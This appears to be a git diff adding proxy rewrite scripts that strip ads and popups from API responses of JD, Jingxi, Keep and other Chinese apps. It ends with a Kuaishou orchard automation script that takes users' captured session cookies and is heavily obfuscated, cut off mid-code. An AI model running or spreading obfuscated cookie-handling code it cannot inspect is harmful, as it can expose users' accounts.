/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ diff --git a/Scripts/jingdong/jingdong.js b/Scripts/jingdong/jingdong.js new file mode 100644 index 00000000..0f1c54dd --- /dev/null +++ b/Scripts/jingdong/jingdong.js @@ -0,0 +1,292 @@ +// 2024-04-18 17:45 + +const url = $request.url; +if (!$response.body) $done({}); +let obj = JSON.parse($response.body); + +if (url.includes("functionId=deliverLayer") || url.includes("functionId=orderTrackBusiness")) { + // 物流页面 + if (obj?.bannerInfo) { + // 收货时寄快递享八折 享受条件苛刻 故移除 + delete obj.bannerInfo; + } + if (obj?.floors?.length > 0) { + // 运费八折 + obj.floors = obj.floors.filter((i) => !["banner", "jdDeliveryBanner"]?.includes(i?.mId)); + } +} else if (url.includes("functionId=getTabHomeInfo")) { + // 新品页面 + if (obj?.result?.iconInfo) { + // 新品页 悬浮动图 + delete obj.result.iconInfo; + } + if (obj?.result?.roofTop) { + // 新品页 下拉二楼 + delete obj.result.roofTop; + } +} else if (url.includes("functionId=myOrderInfo")) { + // 订单页面 + if (obj?.floors?.length > 0) { + let newFloors = []; + for (let floor of obj.floors) { + if (["bannerFloor", "bpDynamicFloor", "plusFloor"]?.includes(floor?.mId)) { + // bannerFloor满意度评分 bpDynamicFloor专属权益 plusFloor开通会员 + continue; + } else { + if (floor?.mId === "virtualServiceCenter") { + // 服务中心 + if (floor?.data?.virtualServiceCenters?.length > 0) { + let newItems = []; + for (let item of floor.data.virtualServiceCenters) { + if (item?.serviceList?.length > 0) { + let newCards = []; + for (let card of item.serviceList) { + if (card?.serviceTitle === "精选特惠") { + continue; + } + newCards.push(card); + } + item.serviceList = newCards; + } + newItems.push(item); + } + floor.data.virtualServiceCenters = newItems; + } + } + if (floor?.mId === "customerServiceFloor") { + // 客户服务 + if (floor?.data?.moreText) { + // 点此获得更多服务 + delete floor.data.moreIcon; + delete floor.data.moreIcon_dark; + floor.data.moreText = " "; + } + } + newFloors.push(floor); + } + } + obj.floors = newFloors; + } +} else if (url.includes("functionId=personinfoBusiness")) { + // 个人页面 + if (obj?.floors?.length > 0) { + let newFloors = []; + for (let floor of obj.floors) { + const items = [ + "bigSaleFloor", // 双十一 + "buyOften", // 常买常逛 + // "iconToolFloor", // 底部工具栏 + // "keyToolsFloor", // 浏览记录 + "newAttentionCard", // 关注的频道 + "newBigSaleFloor", // 双十一 + "newStyleAttentionCard", // 新版关注的频道 + // "newWalletIdFloor", // 我的钱包 + "newsFloor", // 京东快讯 + "noticeFloor", // 顶部横幅 + // "orderIdFloor", // 我的订单 + "recommendfloor" // 我的推荐 + ]; + if (items?.includes(floor?.mId)) { + continue; + } else { + if (floor?.mId === "basefloorinfo") { + // 弹窗 + if (floor?.data?.commonPopup) { + delete floor.data.commonPopup; + } + // 弹窗 + if (floor?.data?.commonPopup_dynamic) { + delete floor.data.commonPopup_dynamic; + } + // 底部会员续费横幅 + if (floor?.data?.commonTips?.length > 0) { + floor.data.commonTips = []; + } + // 弹窗 + if (floor?.data?.commonWindows?.length > 0) { + floor.data.commonWindows = []; + } + // 右下角动图 + if (floor?.data?.floatLayer) { + delete floor.data.floatLayer; + } + } else if (floor?.mId === "iconToolFloor") { + /* + // 底部工具栏 + if (floor?.data?.nodes?.length > 0) { + const sortLists = [ + "applezhushou", // apple助手 1-1-1 + "lingjindouxin", // 签到领豆 1-1-2 + "dongdongnongchangxin", // 京东农场 1-1-3 + "chongwangwang", // 宠汪汪 1-1-4 + "kehufuwu", // 客户服务 1-2-1 + "xianzhiguanjia", // 闲置换钱 1-2-2 + "wenyisheng", // 问医生 1-2-3 + "jijianfuwu", // 寄件服务 1-2-5 + "zhuanzuanhongbao", // 天天赚红包 2-2-1 + "huanletaojin" // 欢乐淘金 2-2-2 + ]; + let node = floor.data.nodes; + if (node?.[0]?.length > 0) { + // 第一组十个 + node[0] = node[0] + .filter((i) => sortLists?.includes(i?.functionId)) + .sort((a, b) => sortLists.indexOf(a?.functionId) - sortLists.indexOf(b?.functionId)); + } + if (node?.[1]?.length > 0) { + // 第二组四个 + node[1] = node[1] + .filter((i) => sortLists?.includes(i?.functionId)) + .sort((a, b) => sortLists.indexOf(a?.functionId) - sortLists.indexOf(b?.functionId)); + } + } + */ + } else if (floor?.mId === "orderIdFloor") { + if (floor?.data?.commentRemindInfo?.infos?.length > 0) { + // 发布评价的提醒 + floor.data.commentRemindInfo.infos = []; + } + } else if (floor?.mId === "userinfo") { + // 个人页 顶部背景图 + // if (floor?.data?.bgImgInfo?.bgImg) { + // delete floor.data.bgImgInfo.bgImg; + // } + // 开通plus会员卡片 + if (floor?.data?.newPlusBlackCard) { + delete floor.data.newPlusBlackCard; + } + } + newFloors.push(floor); + } + } + obj.floors = newFloors; + } + if (obj?.others?.floors?.length > 0) { + // 个人页面 2024-04-18 12.6.2新版本更改路径 + let newFloors = []; + for (let floor of obj.others.floors) { + const items = [ + "bigSaleFloor", // 双十一 + "buyOften", // 常买常逛 + // "iconToolFloor", // 底部工具栏 + // "keyToolsFloor", // 浏览记录 + "newAttentionCard", // 关注的频道 + "newBigSaleFloor", // 双十一 + "newStyleAttentionCard", // 新版关注的频道 + // "newWalletIdFloor", // 我的钱包 + "newsFloor", // 京东快讯 + "noticeFloor", // 顶部横幅 + // "orderIdFloor", // 我的订单 + "recommendfloor" // 我的推荐 + // "userinfo", // 用户信息 + ]; + if (items?.includes(floor?.mId)) { + continue; + } else { + if (floor?.mId === "basefloorinfo") { + // 弹窗 + if (floor?.data?.commonPopup) { + delete floor.data.commonPopup; + } + // 弹窗 + if (floor?.data?.commonPopup_dynamic) { + delete floor.data.commonPopup_dynamic; + } + // 底部会员续费横幅 + if (floor?.data?.commonTips?.length > 0) { + floor.data.commonTips = []; + } + // 弹窗 + if (floor?.data?.commonWindows?.length > 0) { + floor.data.commonWindows = []; + } + // 右下角动图 + if (floor?.data?.floatLayer) { + delete floor.data.floatLayer; + } + } else if (floor?.mId === "iconToolFloor") { + /* + // 底部工具栏 + if (floor?.data?.nodes?.length > 0) { + const sortLists = [ + "applezhushou", // apple助手 1-1-1 + "lingjindouxin", // 签到领豆 1-1-2 + "dongdongnongchangxin", // 京东农场 1-1-3 + "chongwangwang", // 宠汪汪 1-1-4 + "kehufuwu", // 客户服务 1-2-1 + "xianzhiguanjia", // 闲置换钱 1-2-2 + "wenyisheng", // 问医生 1-2-3 + "jijianfuwu", // 寄件服务 1-2-5 + "zhuanzuanhongbao", // 天天赚红包 2-2-1 + "huanletaojin" // 欢乐淘金 2-2-2 + ]; + let node = floor.data.nodes; + if (node?.[0]?.length > 0) { + // 第一组十个 + node[0] = node[0] + .filter((i) => sortLists?.includes(i?.functionId)) + .sort((a, b) => sortLists.indexOf(a?.functionId) - sortLists.indexOf(b?.functionId)); + } + if (node?.[1]?.length > 0) { + // 第二组四个 + node[1] = node[1] + .filter((i) => sortLists?.includes(i?.functionId)) + .sort((a, b) => sortLists.indexOf(a?.functionId) - sortLists.indexOf(b?.functionId)); + } + } + */ + } else if (floor?.mId === "orderIdFloor") { + if (floor?.data?.commentRemindInfo?.infos?.length > 0) { + // 发布评价的提醒 + floor.data.commentRemindInfo.infos = []; + } + } else if (floor?.mId === "userinfo") { + // 个人页 顶部背景图 + // if (floor?.data?.bgImgInfo?.bgImg) { + // delete floor.data.bgImgInfo.bgImg; + // } + // 开通plus会员卡片 + if (floor?.data?.newPlusBlackCard) { + delete floor.data.newPlusBlackCard; + } + } + newFloors.push(floor); + } + } + obj.others.floors = newFloors; + } +} else if (url.includes("functionId=start")) { + // 开屏广告 + if (obj?.images?.length > 0) { + obj.images = []; + } + if (obj?.showTimesDaily) { + obj.showTimesDaily = 0; + } +} else if (url.includes("functionId=welcomeHome")) { + // 首页配置 + if (obj?.floorList?.length > 0) { + const delItems = [ + "bottomXview", // 底部悬浮通栏推广 + "float", // 悬浮推广小圆图 + "photoCeiling", // 顶部通栏动图推广 + // "recommend", // 为你推荐 + "ruleFloat", // 资质与规则 + "searchIcon", // 右上角消费券 + "topRotate", // 左上角logo + "tabBarAtmosphere" // 底部悬浮通栏推广 + ]; + // 首页 图层列表 + obj.floorList = obj.floorList.filter((i) => !delItems?.includes(i?.type)); + } + // 首页 顶部背景图 + // if (obj?.topBgImgBig) { + // delete obj.topBgImgBig; + // } + // 首页 下拉二楼 + if (obj?.webViewFloorList?.length > 0) { + obj.webViewFloorList = []; + } +} + +$done({ body: JSON.stringify(obj) }); diff --git a/Scripts/jingxiAd.js b/Scripts/jingxiAd.js new file mode 100644 index 00000000..a6ee315a --- /dev/null +++ b/Scripts/jingxiAd.js @@ -0,0 +1,10 @@ +/** + * 京喜APP + */ +let obj = JSON.parse($response.body); + +if (/^https?:\/\/api\.m\.jd\.com\/api\?functionId=delivery_show/.test($request.url)) { + obj.data.materialList.startTime = 3667476800000; + obj.data.materialList.endTime = 3667908800000; +} +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/keep.js b/Scripts/keep.js new file mode 100644 index 00000000..82144b4a --- /dev/null +++ b/Scripts/keep.js @@ -0,0 +1 @@ +if(-1!=$request.url.indexOf("people/my")){let e=JSON.parse($response.body);e.data.floatingInfo={},$done({body:JSON.stringify(e)})}else if(-1!=$request.url.indexOf("config/v3/basic")){let t=JSON.parse($response.body);t.data.bottomBarControl.defaultTab="home",t.data.bottomBarControl.tabs=Object.values(t.data.bottomBarControl.tabs).filter(e=>"home"==e.tabType||"new_sports"==e.tabType||"personal"==e.tabType),t.data.homeTabs=[{type:"homeRecommend",order:1,name:"推荐",schema:"keep://homepage/homeRecommend",showInFewDays:7,reverseSwitch:!1,default:!0},{type:"homePrime",order:2,name:"会员",schema:"keep://coursepage/homePrime",showInFewDays:7,reverseSwitch:!1,default:!1}],$done({body:JSON.stringify(t)})}else if(-1!=$request.url.indexOf("homepage/v")){let n=JSON.parse($response.body);if(n.data.sections.length>0&&"quickEntranceV3"!=n.data.sections[0].contentStyle){var a={sectionStyle:null,contentStyle:"quickEntranceV3",pageId:"",pitId:null,sectionId:null,location:"entrance",pageNum:0,moduleNum:0,bizType:null,backgroundImage:null,sectionTrackProps:{content_style:"quickEntranceV3",pageType:"homeRecommend",section_id:null,sectionTitle:"品类入口",itemDetailId:"",pageVersion:"8.0",page_index:0,page_plan_id:"",sectionPosition:0,sectionType:"categoryEntry"},moreText:null,priority:0,index:0,schema:null,title:null,subBaseSection:null,showUserSettingSwitch:!0,quickEntrances:[{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.0",itemTitle:"跳绳",item_type:"smartrope",itemPosition:0},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/4/553246736447566b5831396d774a726d4944386a5763754d4e7243573943632f72766b72713243377433733d/210x174_be8314bcf2ddadaa91d64df15b8179410024b0cc.png",iconInner:"https://static1.keepcdn.com/kylin-cms/2022/11/22/16/40/553246736447566b5831394749734e746f305572724d59745a4f52724b37623655326668714f45504637673d/108x108_bed15c8355030f96af69226270bcc4d508b73375.png",type:"smartrope",schema:"keep://subpage/home?categoryType=jumprope&source=page_home&isPreview=false",title:"跳绳",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.1",itemTitle:"跑步",item_type:"running",itemPosition:1},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/1/553246736447566b58312f39463164783279354b67734b4c7958796e354f32736a2b5a7576306867512b593d/210x174_1a6d2547a58966dbdea3322795acdc2bba24e889.png",iconInner:"https://static1.keepcdn.com/infra-cms/2021/03/21/20/30/298362495336_108x108.png",type:"running",schema:"keep://homepage/running?tabId=cnVubmluZw==&style=tab&trainingTrace=categoryEntry&source=categoryEntry",title:"跑步",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.2",itemTitle:"行走",item_type:"hiking",itemPosition:2},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/1/553246736447566b583138396362694a75476b7567306d6b373158632b4c635635713847456b56325542303d/210x174_990cd347017ad1a7ba63688b96aa64ed9b7ed824.png",iconInner:"https://static1.keepcdn.com/infra-cms/2021/03/22/10/19/79547768652_108x108.png",type:"hiking",schema:"keep://homepage/hiking?tabId=aGlraW5n&new=true&trainingTrace=categoryEntry&source=categoryEntry",title:"行走",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.3",itemTitle:"骑行",item_type:"cycling",itemPosition:3},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/1/553246736447566b583139376d6c764e3637682b4c584c36544d45466c574e556d744f6e443257534435303d/210x174_495638b7a4224c14fde4ee5c88173b32db09c8f2.png",iconInner:"https://static1.keepcdn.com/infra-cms/2021/03/22/10/19/795794009923_108x108.png",type:"cycling",schema:"keep://homepage/cycling?tabId=Y3ljbGluZw==&new=true&trainingTrace=categoryEntry&source=categoryEntry",title:"骑行",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.4",itemTitle:"助眠冥想",item_type:"meditation",itemPosition:4},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/18/38/553246736447566b58313961757053466470325955426a4353427a45627874396d4f6e5144616579646c413d/210x174_c946a5440299cc439ce103629eb9498c120c060e.png",iconInner:"https://static1.keepcdn.com/kylin-cms/2022/11/22/16/27/553246736447566b58312f45336d7949654768352f79793358552f7535797462774e78574e345a3152486f3d/108x108_0e012a0f0154208c791abd0509c5a2ae19c5d40e.png",type:"meditation",schema:"keep://subpage/home?categoryType=meditation&source=page_home&isPreview=false",title:"助眠冥想",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.5",itemTitle:"瑜伽",item_type:"yoga",itemPosition:5},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/1/553246736447566b58312b5173386d5766432f395932726e7a5130523867676676442b463139385462514d3d/210x174_6455aa0d0da392b4dcb1ae02faa7a6de3b12b74a.png",iconInner:"https://static1.keepcdn.com/kylin-cms/2022/11/10/12/35/553246736447566b58313863714d4b313937715338352b6d653032397858705371596d4873385752486b733d/108x108_4cc973b47b99b7ba40ad7e37226c5a07e08be1ed.png",type:"yoga",schema:"keep://subpage/home?categoryType=yoga&source=home_recommend",title:"瑜伽",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.6",itemTitle:"塑形训练",item_type:"bodybuilding",itemPosition:6},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/2/553246736447566b58313848692f6245626c4c72764d4e6b2b3948727a44784a727857427a6b7a326a616b3d/210x174_9537eca338eda8e0d51c40e63378d73743ae2e39.png",iconInner:"https://static1.keepcdn.com/kylin-cms/2022/11/22/16/45/553246736447566b58313843613174565a6962313166665a5666366770765342447368786a4c61377879673d/108x108_b9315d9c9915931c8bdfddbeed40b8c1b7410fa6.png",type:"bodybuilding",schema:"keep://subpage/home?categoryType=bodybuilding&source=page_home&isPreview=false",title:"塑形训练",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.7",itemTitle:"趣味课",item_type:"games",itemPosition:7},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/15/553246736447566b58312b6a326a4432784770777256325373413073464168336753746159436c364f70453d/210x174_efc0141893630618ab491c34999b5b64506ee721.png",iconInner:"https://static1.keepcdn.com/infra-cms/2022/8/26/16/13/553246736447566b58313956386b78707053647a4869527078506d3863736f4c5771557433436445556b673d/108x108_17b1fb9c0175415962aa4582a9deb9baeac0a663.png",type:"games",schema:"https://m.gotokeep.com/live-activity/games/center?fullscreen=true&source=home_quickStart",title:"趣味课",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.8",itemTitle:"呼啦圈",item_type:"smarthulahoop",itemPosition:8},icon:"https://static1.keepcdn.com/kylin-cms/2022/11/22/16/50/553246736447566b58312b436f7931697352694a32653235597378695a39677533515a7630485a556345383d/210x174_d09af7f584c060e3bf20f5713382fb4e502993db.png",iconInner:"https://static1.keepcdn.com/kylin-cms/2022/11/22/16/50/553246736447566b58312b64724d4c6a536d65436f5736434162693172694f6273336268564c355350634d3d/108x108_eb24e19577e617b521363b73363cfc85affa0616.png",type:"smarthulahoop",schema:"keep://subpage/home?categoryType=hulahoop&source=page_home&isPreview=false",title:"呼啦圈",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.9",itemTitle:"跑步机",item_type:"keloton",itemPosition:9},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/5/553246736447566b583138546267467857467a5134322b77685252514656662b504351395278655a6c41513d/210x174_f146aad28baf15d9a967507fb6e8b92cb647a105.png",iconInner:"https://static1.keepcdn.com/infra-cms/2021/03/22/10/20/79638592490_108x108.png",type:"keloton",schema:"keep://homepage/keloton?tabId=keloton",title:"跑步机",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.10",itemTitle:"动感单车",item_type:"puncheur",itemPosition:10},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/5/553246736447566b58313855655a534a706f48447154597675417570646e466c64694337715968325374553d/210x174_d9682832608569e7bfdf8e099a6a4fb271cdd814.png",iconInner:"https://static1.keepcdn.com/infra-cms/2022/4/1/16/36/79214849d54a4c4df7830379af74a37bbe952e55_108x108_9e25f3e357ad724a7b06ca568472c181876cb773.png",type:"puncheur",schema:"keep://homepage/puncheur?tabId=puncheur",title:"动感单车",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.11",itemTitle:"椭圆机",item_type:"elliptical",itemPosition:11},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/5/553246736447566b58312b62724c324c6a643154702f50654447626636676b526262636f5651504f52746b3d/210x174_777c3a7262a4390e851fb1c0005540f824149ac4.png",iconInner:"https://static1.keepcdn.com/infra-cms/2022/4/1/16/34/79214849d54a4c4df7830379af74a37bbe952e55_108x108_93972c09e24276111935364f32f58da9f0b6dfd0.png",type:"elliptical",schema:"keep://koval/main",title:"椭圆机",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.12",itemTitle:"健走机",item_type:"walkman",itemPosition:12},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/6/553246736447566b58312b7a43783335705a5257533431356c61475a76416f2f4a30647a7a47584235636f3d/210x174_31eab9bbbc0c46611911645b7a04e4007752bfe9.png",iconInner:"https://static1.keepcdn.com/infra-cms/2021/03/23/11/40/708221831818_108x108.png",type:"walkman",schema:"keep://homepage/walkman?tabId=walkman",title:"健走机",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.13",itemTitle:"练器械",item_type:"equipment_class",itemPosition:13},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/6/553246736447566b58313948413149376f6d4d4f3065575338374d50716261744f544867773448496b726b3d/210x174_eb833711c3e4896f61dcb636bf0381266e3b4db5.png",iconInner:"https://static1.keepcdn.com/infra-cms/2021/8/20/11/53/79214849d54a4c4df7830379af74a37bbe952e55_108x108_9e353657a04c932a7c07e8221d3ef6d09be02989.png",type:"equipment_class",schema:"keep://equipment/equipment_training",title:"练器械",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0},{itemTrackProps:{itemId:null,spm:"keep.homepage.quickEntrance.14",itemTitle:"Keepland",item_type:"uni_web_keepland",itemPosition:14},icon:"https://static1.keepcdn.com/kylin-cms/2022/12/7/20/7/553246736447566b58313848583836333869584239486c564552317272753876574a43345445306b632f773d/210x174_af8fa993c3b4c33a073d99f791748b3f44a623b2.png",iconInner:"https://static1.keepcdn.com/infra-cms/2021/03/21/20/29/297988776391_108x108.png",type:"uni_web_keepland",schema:"https://keepland.gotokeep.com?kpwebbarcolor=0xffffff&kpwebbtntitlecolor=0x584F60",title:"Keepland",iconLinkFormat:null,showTimes:0,bubbleId:null,bubbleText:null,bubble:null,newBubbleId:null,showInFewDays:0}]};n.data.sections.unshift(a)}$done({body:JSON.stringify(n)})}else if(-1!=$request.url.indexOf("preview")){let i=JSON.parse($response.body);i.data.detailSections=Object.values(i.data.detailSections).filter(e=>"recommendation"!=e.sectionType),$done({body:JSON.stringify(i)})}else if(-1!=$request.url.indexOf("sportpage/sport/v3/mysport")){let l=JSON.parse($response.body);l.data.sections&&delete l.data.sections,$done({body:JSON.stringify(l)})}else $done(); diff --git a/Scripts/kff.js b/Scripts/kff.js new file mode 100644 index 00000000..1ced1aaf --- /dev/null +++ b/Scripts/kff.js @@ -0,0 +1,10 @@ +let obj = JSON.parse($response.body); +obj.data.config = JSON.stringify(JSON.parse(obj.data.config).filter(item => !item.id.includes("13502ede-f5fd-4d5c-90f5-f2454a30fda0"))); +obj.data.config = JSON.stringify(JSON.parse(obj.data.config).filter(item => !item.id.includes("c1caaf62-e91d-4040-b533-dab39c0fec13"))); +obj.data.config = JSON.stringify(JSON.parse(obj.data.config).filter(item => !item.id.includes("cc9d17ec-3ac5-494b-b82e-8d3c72c243d4"))); +obj.data.config = JSON.stringify(JSON.parse(obj.data.config).filter(item => !item.id.includes("7bef8fe9-0daf-46b3-a2b0-dd9fba49423f"))); +obj.data.config = JSON.stringify(JSON.parse(obj.data.config).filter(item => !item.id.includes("ff7e1263-d8d2-4f09-9947-d8c43c77bb10"))); +obj.data.config = JSON.stringify(JSON.parse(obj.data.config).filter(item => !item.id.includes("874197b4-fe93-4a80-a555-8df1bc7e8211"))); +obj.data.config = JSON.stringify(JSON.parse(obj.data.config).filter(item => !item.id.includes("0ba6a615-b7e9-48aa-afe7-329635385f2c"))); +obj.data.config = JSON.stringify(JSON.parse(obj.data.config).filter(item => !item.id.includes("a11b0e7d-a162-4802-ac71-21d98e8adddf"))); +$done({body: JSON.stringify(obj)}); diff --git a/Scripts/kuaishou/ks_fruit.js b/Scripts/kuaishou/ks_fruit.js new file mode 100644 index 00000000..3ad13ea7 --- /dev/null +++ b/Scripts/kuaishou/ks_fruit.js @@ -0,0 +1,26 @@ +/* +v2.2.0 +快手果园任务脚本,支持qx,loon,shadowrocket,surge,nodejs +手机设备在boxjs里填写cookie +开启抓包工具,果园浇一次水,在抓包记录里搜water,复制请求头里的cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json + +[task_local] +30 1,8,12,17 * * * https://raw.githubusercontent.com/passerby-b/ks_fruit/main/ks_fruit.js + +[Script] +cron "30 1,8,12,17 * * *" script-path=https://raw.githubusercontent.com/passerby-b/ks_fruit/main/ks_fruit.js,tag=快手果园 + +CK环境变量:KS_COOKIE,多个用换行 & ,分割都可以 +内置助力码环境变量:KS_SHARECODE,复制日志最后助力码 + +*/ + +let cookies = []; + +(function(_0x5a2e55,_0x369db7){function _0x2e16ae(_0x57424c,_0x2dee77,_0x1fa786,_0x4bae2e,_0x4d6fb8){return _0x4a4e(_0x2dee77- -0x107,_0x4d6fb8);}function _0x3fc8a0(_0x7e9d85,_0xb20a2b,_0x4a250c,_0x4f92d8,_0x4f2a4c){return _0x4a4e(_0x4a250c-0x393,_0x4f92d8);}function _0x5dac83(_0x36346d,_0xc1d0e3,_0x2bc122,_0x7f5945,_0x3adbb7){return _0x4a4e(_0x2bc122- -0x267,_0x36346d);}function _0x123f2d(_0xdd22f7,_0x4c6456,_0x45971f,_0x10f06d,_0x59c74b){return _0x4a4e(_0x59c74b- -0x3,_0x4c6456);}function _0x5eb750(_0xe664df,_0x2f3744,_0x332995,_0x10b616,_0x1d971b){return _0x4a4e(_0x2f3744- -0x3c3,_0xe664df);}const _0x5267f6=_0x5a2e55();while(!![]){try{const 